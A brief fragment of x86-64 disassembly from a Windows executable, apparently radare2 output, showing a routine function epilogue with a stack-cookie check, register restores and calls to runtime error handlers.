jbe 0x14000b7eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e310
nop
lea rcx, [rbp + 0x70]
call fcn.1400072f0
xor eax, eax
mov rcx, qword [rbp + 0x540]
xor rcx, rsp
call fcn.14000dd00
lea r11, [rsp + 0x650]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001120
nop
call fcn.140009a80
int3
call fcn.1400011c0
int3